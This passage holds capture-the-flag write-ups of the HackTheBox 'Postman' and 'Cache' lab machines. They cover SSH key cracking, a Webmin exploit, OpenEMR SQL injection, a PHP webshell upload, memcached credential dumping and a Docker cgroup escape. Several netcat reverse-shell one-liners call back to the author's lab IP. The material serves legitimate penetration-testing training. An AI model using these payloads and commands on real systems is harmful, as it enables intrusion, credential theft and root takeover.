X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
redis@Postman:/opt$ 

As shown above in the header, the key appears to be encrypted. Let’s transfer it locally to see if we can crack the password. To do this we’ll use python3 from the target to start a web server, and download the file locally to Kali.

redis@Postman:/opt$ which python3
/usr/bin/python3
redis@Postman:/opt$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And from kali:

initinfosec@kali:/HTB/postman/loot$ wget http://10.10.10.160:8000/id_rsa.bak
--2020-08-27 13:03:54--  http://10.10.10.160:8000/id_rsa.bak
Connecting to 10.10.10.160:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1743 (1.7K) [application/x-trash]
Saving to: ‘id_rsa.bak’

id_rsa.bak                             100%[=========================================================================>]   1.70K  --.-KB/s    in 0s      

2020-08-27 13:03:54 (374 MB/s) - ‘id_rsa.bak’ saved [1743/1743]

Cracking the SSH key (or attempting to) can be done with john and a script bundled with kali called ssh2john.py:

initinfosec@kali:/HTB/postman/loot$ locate ssh2john.py
/usr/share/john/ssh2john.py

We can then use the python script to create a hash from the key, and then try to crack the hash using john in a more standard format. The commands used are shown below:

initinfosec@kali:/HTB/postman/loot$ python /usr/share/john/ssh2john.py id_rsa.bak > matt_rsa.hash
initinfosec@kali:/HTB/postman/loot$ john matt_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa.bak)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:06 DONE (2020-08-27 13:11) 0.1610g/s 2309Kp/s 2309Kc/s 2309KC/sa6_123..*7¡Vamos!
Session completed
initinfosec@kali:/HTB/postman/loot$ john matt_rsa.hash --show
id_rsa.bak:computer2008

1 password hash cracked, 0 left

Great, so we see the password is “computer2008” for the SSH ket. Trying this password to switch user to “Matt” is successful, as shown below.

Privilege Escalation

PrivEsc Enumeration

Now as the user Matt, let’s proceed to see how we can get root. Running sudo -l and crontab -l we see we do not have permissions to run sudo, and no crontabs for the user. As is pretty common, we see that webmin is running as root.

Matt@Postman:/usr/share/webmin$ ps aux | grep webmin
root        704  0.0  3.2  95308 29592 ?        Ss   15:04   0:11 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf

Going back to the webmin login at https://10.10.10.160:10000/, we find that using the credentials ‘Matt/computer2008’ gives us access to the console, shown in the below screenshot.

Gaining a root shell

Now that we have webmin access, we can attempt to utilize one of the RCE exploits noted earlier which needed authentication. Of particular interest is this exploit which leverages a vulnerability in the package update function of Webmin to perform RCE/command injection and attempt to run a proccess as the context of the user which Webmin is running as (which in this case, and often, is root.)

Since this box is in preperation for OSCP, I want to avoid metasploit usage where possible. To this end, a quick search revealed a python script on github found here exploiting the same vulnerability.

Clone the repository with git. Once the tool is downloaded, we can read the README and code source for usage information. Next, we start a listener to catch the shell if one spawns, with nc -lvnp 1234

Once done, we can run the exploit - keep in mind to change the lhost and lport to the appropriate values. also recall that SSL is enabled on webmin, so we’ll need to pass the SSL argument with “-s true.”

initinfosec@kali:/HTB/postman/exploit/Webmin-1.910-Exploit-Script$ python webmin_exploit.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.14.12 --lport 1234 -u Matt -p computer2008 -s true
****************************** Webmin 1.910 Exploit By roughiz*******************************
*********************************************************************************************
*********************************************************************************************
*********************************************************************************************
****************************** Retrieve Cookies sid *****************************************


********** [+] [Exploit] The Cookie is 81c429b1433bde2c139558aba756eccc

********************************************************************************************
****************************** Create payload and Exploit ***********************************




********** [+] [Exploit] Verify you nc listener on port 1234 for the incomming reverse shell
initinfosec@kali:/HTB/postman/exploit/Webmin-1.910-Exploit-Script$

Looks like the exploit worked, and checking our listener, we see we’ve received a root shell locally, as shown in the screenshot below. Thus we’ve gained full control of the system as the root user via an RCE exploit that injected a reverse shell command. Since the webmin process was running as root, we received a root shell.

Conclusion

Recommended Remediations

Consider adding authentication to the redis service to avoid unintentional information disclosure, and potential exploitation that might result in a foothold on the system, such as the exploit used in this test.
If storing backups that contain sensitive information (such as Matt’s private SSH key), store them in a place with appropriate permission restrictions on them. While it wasa good that the key was encrypted, either the permissions on the file should have been restricted to not allow the redis user to view or copy the file.
Update the Webmin instance to patch the package update RCE vulnerability exploited in version 1.910

All for now; until next time.

~@initinfosec

HacktheBox 'Cache' writeup

Fri, 10 Jul 2020 18:00:00 -0500

‘Cache’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Cache	10.10.10.188	Linux	Medium

view all writeups here

‘Cache’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the following command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/cache/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/cache/scans/xml/_full_tcp_nmap.xml" 10.10.10.188

The following ports were revealed open on the target, followed by the full nmap script output below:

10.10.10.188

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29

# Nmap 7.80 scan initiated Tue Jul  7 16:23:41 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/cache/scans/_full_tcp_nmap.txt -oX /0ps/HTB/cache/scans/xml/_full_tcp_nmap.xml 10.10.10.188

Nmap scan report for 10.10.10.188
Host is up, received user-set (0.034s latency).
Scanned at 2020-07-07 16:23:41 CDT for 66s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
|   256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/7%OT=22%CT=1%CU=43614%PV=Y%DS=2%DC=T%G=Y%TM=5F04E81F
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O
OS:6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 6.375 days (since Wed Jul  1 07:24:04 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   34.14 ms 10.10.14.1
2   34.19 ms 10.10.10.188

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  7 16:24:47 2020 -- 1 IP address (1 host up) scanned in 66.38 seconds

nmap scan observations

So we can see that the target is Linux, with an HTTP service open on the standard port 80, running Apache 2.4.29. Additionally SSH is running on the standard port 22, identifying as OpenSSH 7.6.p1. The versions of both Apache and SSH indicate that the target is likely the linux flavour Ubuntu Bionic or later (reference)

HTTP enumeration

SSH is unlikely to provide an initial foothold without other information, so let’s start with enumerating HTTP. The robots.txt resource does not seem to exist, but a nikto scan of the site does seem to reveal a potentially interesting page, as shown in the results below:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.188
+ Target Hostname:    10.10.10.188
+ Target Port:        80
+ Start Time:         2020-07-07 16:23:51 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2001, size: 5a4f70909088c, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2020-07-07 16:29:29 (GMT-5) (338 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

A gobuster scan of the website to crawl/spider and enumerate resources is also run alongside nikto, with the results shown below, filtering out HTTP 403 Forbidden Statuses:

initinfosec@kali:/0ps/HTB/cache/scans$ cat tcp_80_http_gobuster.txt | grep -v 403
/author.html (Status: 200) [Size: 1522]
/contactus.html (Status: 200) [Size: 2539]
/index.html (Status: 200) [Size: 8193]
/index.html (Status: 200) [Size: 8193]
/javascript (Status: 301) [Size: 317]
/jquery (Status: 301) [Size: 313]
/login.html (Status: 200) [Size: 2421]
/net.html (Status: 200) [Size: 290]
/news.html (Status: 200) [Size: 7231]

Going to the main site on port 80, we’re greeted by the index page which seems to talk about various types of hackers in a definition kind of way. It also mentions ‘Welcome to cache.htb’, so let’s go ahead and added cache.htb to our /etc/hosts file with the corresponding IP to the host. Viewing a few of the pages from the index, it looks like most are flat html pages. http://10.10.10.188/contactus.html has text boxes which could potentially be used to test for command injection, XSS, or similar, but looks fairly innocuous at first glance.

Going to http://10.10.10.188/login.html as expected takes us to a login page. Trying basic credentials like ‘cache’/’admin’ and ‘admin’/’admin’ do not seem to work. We see from the page source (shown below) that the login appears to be making a POST request to net.html, but no credentials seem to be evident in the page source.

<div class="aa">
<form id="loginform" action="net.html", method="POST">

  Username: <input type="username" id="username" placeholder="please enter username..."><br><br>
  
  Password: <input type="password" id="password" placeholder="please enter password..." required><br><brvalue="FakePSW" id="myInput"><br>
  <input type="submit" class="btn btn-primary" value="Login">

<button type="button" class="btn btn-primary" onclick="window.location.href='#'" >forget passwd</button>

</form>
</div>

Going to the net.html resource seems to briefly load something, and then redirect to the login page almost instantaneously. Using wget to grab the net.html page, we see the following:

<html>
<head>
 <body onload="if (document.referrer == '') self.location='login.html';">   
        <style>
body  {
  background-color: #cccccc;
}
</style>
</head>
<center>
        <h1> Welcome Back!</h1>
        <img src="4202252.jpg">


<h1>This page is still underconstruction</h1>
</center>
 </body>
</html>

Browsing to the javascript directory turned up in the initial gobuster scan, it seems we’re disallowed from viewing the page/resource. However, visiting jquery shows a directory listable page, with one file, functionality.js. Viewing the js file at http://10.10.10.188/jquery/functionality.js, we see the following:

$(function(){
    
    var error_correctPassword = false;
    var error_username = false;
    
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });
    
});

From this, we can determine the username seems to be “ash”, and the password “H@v3_fun” - assuming the login references/utilizes the functionality.js script. Testing these credentials, we see they work, and we’re presented with the following page:

The source of the page seems to have nothing of use within it. Trying the creds use to log in to the page over SSH does not seem to work.

Running a more in-depth scan with recursion (I’m using ffuf, but dirb, dirbuster, dirsearch, and others would work fine as well), we find a previously unknown asset under the javascipt folder, in a subfolder named jquery: jquery.js. (This is found with ffuf instead because gobuster is not natively recursive.) However, the js file does not seem to yield much useful information, and seems largely a supporting file for the site functionality itself.

Let’s move on to trying to observe dynamic content, or items that might be leveraging a script of some sort vs a flat HTML file. We can begin by checking for URI tampering on contact us page. We see the page uses query strings in the URL to pass parameters on the “Contact Us” form submitted, e.g. http://cache.htb/contactus.html?firstname=initinfosec&lastname=initinfosec&country=canada&subject=this+is+a+test#. However, trying multiple options of command injection, LFI, and RFI via the parameters in the URL, as well as in the text box, doesn’t seem to yield any obvious signs of exploitability.

Checking out content of the site again, we go back to the author page, and notice the following bit:

ASH is a Security Researcher (Threat Research Labs), Security Engineer. Hacker, Penetration Tester and Security blogger. He is Editor-in-Chief, Author & Creator of Cache. Check out his other projects like Cache:

HMS(Hospital Management System)

Adding hms.htb to our /etc/hosts files and browsing to that URI, we’re presented with an entirely different site, finding a login page, as shown below:

Trying the previously used creds “ash / H@v3_fun” doesn’t seem to work, though. Let’s run another web crawler/enum scan on the new hostname hms.htb using ffuf, with the following command:

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://hms.htb/FUZZ -recursion -e .txt,.html,.php,.tar,.htm

Viewing the scan results, we see that admin.php shows as openly accessible. Going there, we see the following:

Further searching OpenEMR shows this to be an actual public, open-source software, as shown here: https://www.open-emr.org/. We see from the admin.php page that the version is 5.0.1 (3).

We see a number of EDB results for RCE for this version, as shown below in the searchsploit results. It seems most, if not all of these, require authentication:

initinfosec@kali:/0ps/HTB/cache/scans$ searchsploit openemr 5.0.1
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution                                                                     | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution                                                                                  | php/webapps/48515.py
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions                                                               | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution                                                                | php/webapps/45161.py
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution                                                                | php/webapps/45161.py
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Trying some basic credentials such as ‘admin/admin’ or ‘admin/password’ do not seem to work. A quick web search shows the default credentials on a fresh install of OpenEMR might be ‘admin/pass’ but that does not work either. Further searching seems to show that after early versions of OpenEMR 4, default usernames and passwords are no longer setup.

With some obvious credentials not panning out, we’ll want to look at potential methods of authentication bypass or obtaining valid creds, without resorting to brute-force (e.g. hydra) until a last-ditch effort. After some searching on “OpenEMR 5.0.1 authentication bypass”, we come across this great resource hosted on the OpenEMR site itself, showing a security assessment report for the version of the software that is an exact match for the one on the target - 5.0.1(3) - https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf. Reading through this, we do see several authenticated RCEs, much like we found on EDB and Google earlier, but again, we don’t have auth yet.

However, reading further reveals a key point - it appears if we go to the /portal URL, we’re presented with a different login, a patient login portal, rather than an admin or clinician login on the main page. While we don’t have auth to this either, the PDF states that if you hit the registration page/button from the portal, you are then able to access certain resources within the portal directory without having valid credentials. Testing this, it appears to hold true on the target. Now that we know we can use these resources without auth, we see there are several SQL injection points on some of these pages, which as the PDF states, either require login, or can be chained with the authentication bypass, which we just performed. We’ll test in order on SQL injections for the portal as they appear in the PDF, starting with the Appointment Finder, found on page 8 of the PDF.

gaining an initial foothold

The find_appt_popup_user.php resource can be used with the auth bypass, and is vulnerable to SQLi, following the ‘catid’ parameter. The injection syntax likely looks something like below (N.B. that this is not the exact syntax, just an example): http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=1%27%20OR%201=1–%20-

I’ve had burp running and intercepting requests to just about every page in the OpenEMR site on the target while browsing, so we can grab the raw request details from burp to the appointment finder URL known to be injectable, and save that to a text file. We can then pass this text file to SQLmap to provide all the details for cookies, host, and URL to test, using the following command:

sqlmap -r apptfinder-req.txt --current-db

The below screenshot shows the tail end of the sqlmap output after an injection is found, as well as the intercept text file passed to SQLmap (note your vals will differ).

[Note that two cookies are set: PHPSESSID, and OpenEMR. If the OpenEMR cookie is not set, try clearing the cache, and/or hitting the main page (not portal, hms.htb root itself) again until the OpenEMR cookie is set and shown in the HTTP intercept. The SQLmap tests will not be successful in finding injection points to any URL within portal without this cookie set - it will redirect to the main portal page and prompt for auth, as the cookie has not been set.]

Now that SQL injection vulnerability has been proven, let’s move on to exploit this vulnerability to extract data, aiming to get login information for the main portal to eventually accomplish and authenticated RCE. We already see we’re in the openemr database, so credentials for both the portal and main page login probably exist in the same db. Running the following, we can see a list of tables in the openemr DB:

sqlmap -r apptfinder-req.txt --dbms=mysql --tables

We see users, among several other tables of relevance exists. Let’s dump “users_secure” to see if we can find authentication to the main admin portal:

sqlmap -r apptfinder-req.txt --dbms=mysql --tables -T users_secure --dump

[output truncated]


Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id   | salt                           | username      | password                                                     | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1    | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+

[13:18:56] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/initinfosec/.sqlmap/output/hms.htb/dump/openemr/users_secure.csv'
[13:18:56] [INFO] fetched data logged to text files under '/home/initinfosec/.sqlmap/output/hms.htb'

[*] ending @ 13:18:56 /2020-07-09/

Great, so we see a user ‘openemr_admin’, with a salted password hash, probably bcrypt at first glance. Putting this information into a file and have john try to crack it, yields a successful crack, shown in the below screenshot:

Testing this out, we confirm the login to the main page is successful, evidenced by the screenshot below showing the admin user logged in:

Now having proper authentication, we can proceed to utilize one of the remote code execution exploits detailed in both EDB and the PDF referenced above. Using https://www.exploit-db.com/exploits/45202 as a reference, we’ll try to exploit the RCE vulnerability to upload a small PHP webshell, using the request below

POST /portal/import_template.php HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=lf6qv0u1ej3u3jllkvt59ika55; OpenEMR=1mmdeae8lo7r9efm5gj7bsg4sj
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

mode=save&docid=payload.php&content=<?php echo shell_exec($_GET['cmd']); ?>

After sending the POST request, we receive the following response:

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 19:02:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=utf-8

1

Now, issuing a ‘whoami’ command via the webshell, we see it did indeed upload and execute, as shown below, using the URL http://hms.htb/portal/payload.php?cmd=whoami

Running a which command through the webshell, we see netcat is installed. Knowing this, let’s start a listener with sudo nc -lvnp 443, and issue the following python command to spawn a reverse shell to our kali machine. [As always, be sure to replace your IP and port as appropriate]

http://hms.htb/portal/payload.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.42 443 >/tmp/f

This command will need to be URL encoded to work properly, yielding the following URL: http://hms.htb/portal/payload.php?cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.42+443+%3E%2Ftmp%2Ff

Once entered, we see the webserver successfully executed our reverse shell; we have gained a foothold on the target, as the www-data user, as shown below:

Lateral Movement

It looks like our iniital attempt to view the user.txt file was not successful, indicating we need to laterally move to a more standard user, in this case, “ash”

The Lateral movement here is quite simple - using the password we found earlier on the cache.htb site that gave us access to the page that showed the ‘under construction’ message, we can run su - ash and provide the password “H@v3_fun”. This successfully gives us a shell as the user ash, as shown below:

more lateral movement

Running sudo -l, we see the user ‘ash’ does not have privileges to run sudo. We also see the user has no cron jobs associated with their account.

Checking /etc/passwd, we see a user called ‘laffy,’ and another named ‘memcache.’ The latter seems of particular interest, as it’s related to the hostname. A quick search reveals that it’s some kind of keystore type application that runs on TCP port 11211 by default. Running a netstat command to show open sockets, we do indeed see TCP port 11211 is indeed listening from localhost.

ash@cache:~$ netstat -tulpn
netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Knowing this, we can use telnet to connect to the service and try to dump the list of keys and related values (this reference used for syntax)

ash@cache:~$ which telnet
which telnet
/usr/bin/telnet
ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 13
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 204
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 6855
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END

Great, we see a set of values called “items”, identified by the value “1”. Using the command “stats cachedump 1 0”, we can dump the entire contents of the value set “items”, with the “1” reference the set “items” and the 0 indicating to dump all values in the set (instead of a specific value, e.g. 4)

stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get account
get account
VALUE account 0 9
afhj556uo
END
get file
get file
VALUE file 0 7
nothing
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
get user
get user
VALUE user 0 5
luffy
END
get link
get link
VALUE link 0 21
https://hackthebox.eu
END

Interesting, we seem to have found a potential password for the user “luffy” Trying the listed username and password combo, we find that we successfully login as the user luffy, as shown below:

Privilege Escalation

PrivEsc enumeration

We see the user “luffy” cannot run sudo, but it appears they are a member of the docker group.

luffy@cache:~$ sudo -l
[sudo] password for luffy: 
Sorry, user luffy may not run sudo on cache.
luffy@cache:~$ groups
luffy docker

gainining a root shell

Membership to the docker group often provides a good avenue to root privilege escalation. Normally, on an outwardly connected machine, we could run something similar to the following:

docker run -v /root:/mnt it alpine

Since docker has certain innate privileges, this would create the machine named ‘alpine’ if it didn’t already exist, mount the entire root filesystem in /mnt on the docker image, and spawn a shell into the container image as root. However, when we try this, we see that there are no existing docker containers, and docker/the host cannot pull an image externally to create a new image locally since the host does not have external internet access, as shown below:

luffy@cache:~$ docker container ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

luffy@cache:~$ docker run -v /root:/mnt it alpine
Unable to find image 'it:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution.
See 'docker run --help'.

However, we see that if we list images instead, we have one prebuilt and ready to be run:

luffy@cache:~$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        9 months ago        64.2MB

So we can indeed run a very similar command to the format of the generic docker run escape (GTFObins reference here) as shown below:

luffy@cache:~$ docker run -v /:/mnt -it ubuntu

Doing so spawns us into a root shell in the container on the target host, with the root filesystem mounted within the container at /mnt, essentially allowing us full access to the target system, as shown below:

From here, the possibilities abound. We could:

view sensitive files (such as root.txt) on the target host via the /mnt directory
could write a cron job, SUID script or binary to the host system to execute a reverse shell to our assessing system, or spawn a local shell. If we created these from the container and then dropped back to the user shell on the host, as long as they were accessible or executable, they would still be executed as root, since our current in the container is root, and the root UID of 0 is stnadard/consistent between the container and host.
We could also add a user to the /etc/passwd file (via /mnt/etc/passwd) with a UID of 0 and once back on the host, su - to gain a reverse shell
We could create a local SSH keypair on kali with ssh-keygen -t rs and write the .pub key to /mnt/root/.ssh/authorized_keys. Once written we could SSH from our system into root using ssh root@cache.htb -i \</code>.

However, I want to try something a bit different. From some brief reading on docker and containers, it looks like we can potentially further this exploit to try and essentially escape out of the container image to root on the target host, as described in the reference here. To start testing this, let’s drop out of the container, stop it, and start the ubuntu instance again as privileged, using the command shown below:

luffy@cache:~$ docker run -v /:/mnt -it --privileged ubuntu /bin/bash

Now let’s start a netcat listener on kali with sudo nc -lvnp 443

And now from the container we can run:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/bash' > /cmd
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.42 443 >/tmp/f" > /mnt/home/luffy/root.sh >> /cmd
chmod 4777 /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

We see that upon execution, our reverse shell command was run from the host as root, spawning a “full” reverse shell from the target, served to our attacking/assessing kali box. The below screenshot shows this, with the top left pane showing the “luffy” account and privileges, the bottom left pane showing the root shell within the docker instance, and the right pane showing the reverse shell from the host itself, caught locally.

